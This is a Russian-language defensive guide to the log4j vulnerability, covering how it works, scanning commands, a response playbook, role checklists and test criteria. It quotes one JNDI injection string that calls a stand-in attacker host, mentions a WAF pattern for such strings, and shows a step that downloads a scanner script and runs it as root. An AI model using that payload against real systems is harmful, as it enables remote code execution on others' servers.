Уязвимость log4j: проверка и быстрый план действий

Иллюстрация: предупреждение об уязвимости log4j

Быстрые ссылки

Как работает эксплойт?
Уязвим ли я?
Как просканировать систему и проверить версии log4j

Как работает этот эксплойт?

Уязвимость в log4j — одна из самых серьёзных за последнее время. По шкале CVSS ей присвоен максимальный балл 10/10, поскольку она позволяет удалённое выполнение кода через стандартный механизм логирования.

Ключевая особенность проблемы в том, что log4j — не отдельное приложение, а библиотека, часто встраиваемая в другие продукты. Поэтому вы можете не иметь её в списке явных установленных пакетов, но она может находиться внутри файлов .jar или в составе сторонних приложений.

Идея атаки простая: злоумышленник отправляет управляющую строку в то место, где приложение записывает логи (например, user agent веб-запроса). Если строка содержит специальный JNDI-подход, log4j может инициировать запрос к удалённому ресурсу и загрузить код оттуда. Пример вредоносной строки:

${jndi:ldap://attacker.com/a}

Уязвимым компонентом является механизм Java Naming and Directory Interface, через который логгер может делать удалённые запросы и десериализовать объекты. В результате с внешнего сервера может быть загружен класс с исполняемым кодом.

Важно понимать: даже простая сеть-перезагрузка или обращение к URL может раскрыть информацию о машинах в вашей сети, поэтому реакция должна быть быстрой.

Уязвим ли я?

Патч в log4j был выпущен в одной из недавних версий, но основная трудность заключается в обнаружении всех встраиваний библиотеки в вашей инфраструктуре. Поскольку Java широко используется, многие компоненты и инструменты могут содержать log4j как зависимость, о которой вы не знаете.

Даже если вы думаете, что не используете Java, проверьте это снова. В одном из типичных случаев служба, которую администратор установил ради другого ПО, включала собственный OpenJDK и логгер log4j.

Некоторые версии JDK не подвержены основному вектору через LDAP, но это не избавляет от необходимости обновления. Кроме того, атака может использовать и другие каналы, поэтому обновление остаётся приоритетной задачей.

Наличие SBOM (Software Bill of Materials) облегчает поиск уязвимых компонентов. Если у вас ещё нет SBOM, начните собирать информацию о компонентах и зависимостях прямо сейчас.

Как просканировать систему и проверить версии log4j

Существует множество скриптов и инструментов для автоматического поиска вхождений log4j. Ниже — набор практических шагов и примеров команд. Запускать с осторожностью: любые скрипты от незнакомых авторов требуют проверки и запуска от привилегированного пользователя только после ревью.

Пример распространённого скрипта, который можно скачать и запустить:

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Обратите внимание: скрипт требует root, чтобы просканировать всю файловую систему. Не запускайте его слепо в продакшене без проверки.

Дополнительные практические команды для ручной проверки:

Быстрый поиск упоминаний log4j в файловой системе:

grep -R --line-number -I "log4j" /opt /usr /var /home 2>/dev/null || true

Поиск всех jar-файлов и проверка их содержимого на наличие пакетов log4j:

find / -type f -name "*.jar" -print0 2>/dev/null | xargs -0 -n1 sh -c 'jar tf "$1" 2>/dev/null | grep -i "log4j" && echo "== in: $1"' _

Проверка запускаемых процессов Java и их параметров:

ps aux | grep java | grep -v grep

Просмотр версии Java на машине:

java -version

Эти команды не являются исчерпывающими, но помогают найти явные и скрытые пакеты. В ряде случаев Java включена в состав приложений (например, Elasticsearch), и вы не устанавливали её вручную.

Снимок: Elasticsearch с включённым OpenJDK и log4j

План действий для срочной реакции (Playbook)

Оценка риска и приоритизация
- Определите публично доступные сервисы, которые логируют входящие данные (HTTP серверы, API, SMTP и т.д.).
- Начните с систем, доступных из интернета и с повышенными привилегиями.
Поиск и инвентаризация
- Выполните автоматические и ручные сканы, соберите список jar-ов и приложений, где встречается log4j.
- Сформируйте SBOM для критичных сервисов.
Применение патчей
- Обновите log4j там, где это возможно, до исправленной версии.
- Если приложение поставляется в виде пакета от вендора, дождитесь официального апдейта или примените их рекомендации.
Временные меры
- Если не можете сразу обновить, используйте временные флаги JVM или правила WAF, чтобы блокировать опасные шаблоны логов.
- Флаг JVM, который часто упоминается как временная мера:

-Dlog4j2.formatMsgNoLookups=true

Помните: временные меры снижают риск, но не гарантируют полную защиту.

Мониторинг и реагирование
- Включите повенный сбор логов и мониторинг аномалий после исправления.
- Проверяйте сопутствующие артефакты на неожиданную сетевую активность.
Коммуникация и отчётность
- Сообщите заинтересованным сторонам о статусе, принятых мерах и сроках полного исправления.

Риски, краевая галерея и когда меры не работают

Если библиотека загружена встраиваемо глубоко (в несколько слоев зависимостей), автоматические сканы могут пропустить вхождения. В таких случаях нужен комбинированный подход: SBOM, ручной аудит jar-ов и анализ запущенных процессов.
Временные флаги JVM не исправляют приоритетную причину и могут быть неэффективны при комбинированных векторах атаки.
Запуск автоматических скриптов с неясным происхождением может сам по себе привести к риску выполнения произвольного кода. Всегда ревьюте код перед запуском.

Чек-лист для ролей

Системный администратор
- Найти все серверные процессы Java
- Просканировать файловую систему на .jar с log4j
- Временно ограничить исходящие сетевые запросы для Java
Разработчик
- Сформировать список зависимостей проекта
- Обновить log4j в сборке и проверить совместимость
- Добавить тесты, эмулирующие ввод с опасными шаблонами
Инженер безопасности
- Развернуть правила WAF/IDS для фильтрации JNDI-паттернов
- Контролировать аномалии в логах и сетевой активности
- Вести регистрацию инцидента и пост-мортем

Критерии приёмки

Ноль обнаруженных уязвимых версий log4j в продакшн окружении
Отсутствие исходящих аномальных запросов от Java-процессов
Документированный SBOM для критичных сервисов
План отката и подтверждённый тест обновления на тестовой среде

Примеры тестов и контрольные сценарии

Попытка логирования контролируемой строки с JNDI-паттерном в тестовом окружении должна не приводить к исходящим запросам и не запускать код
При удалении уязвимой библиотеки приложение должно по-прежнему работать или корректно проваливаться с информативной ошибкой
WAF-правило блокирует входящие запросы с шаблонами ${jndi:…}

Мини-методология для долгосрочной защиты

Внедрить практику SBOM для всех сервисов
Автоматизировать сканирование зависимостей на CI и перед деплоем
Ограничить исходящие сетевые соединения по белому списку
Периодически проводить независимый аудит зависимостей

Модель принятия решения (Mermaid)

flowchart TD
  A[Обнаружена возможная уязвимость log4j] --> B{Доступно обновление библиотеки?}
  B -- Да --> C[Обновить log4j и протестировать]
  B -- Нет --> D[Применить временные меры и уведомить вендора]
  D --> E[Ограничить исходящие JNDI/LDAP]
  D --> F[Включить WAF/фильтрацию логов]
  C --> G[Мониторинг и подтверждение устранения]
  E --> G
  F --> G

Краткое резюме

Уязвимость log4j представляет собой риск удалённого выполнения кода через механизм логирования
Найдите все вхождения log4j в инфраструктуре: .jar, поставляемые пакеты, встроенные OpenJDK
Обновление до исправленной версии — приоритетная задача; временные флаги и WAF помогут снизить риск до патча
Автоматизируйте сбор SBOM и сканирование зависимостей, чтобы ускорить реакцию в будущем

Полезные заметки

Не запускайте скрипты с правами root без проверки
Документируйте каждое изменение и сохраняйте логи для последующего расследования
После исправления проведите ретроспективу и обновите процессы управления зависимостями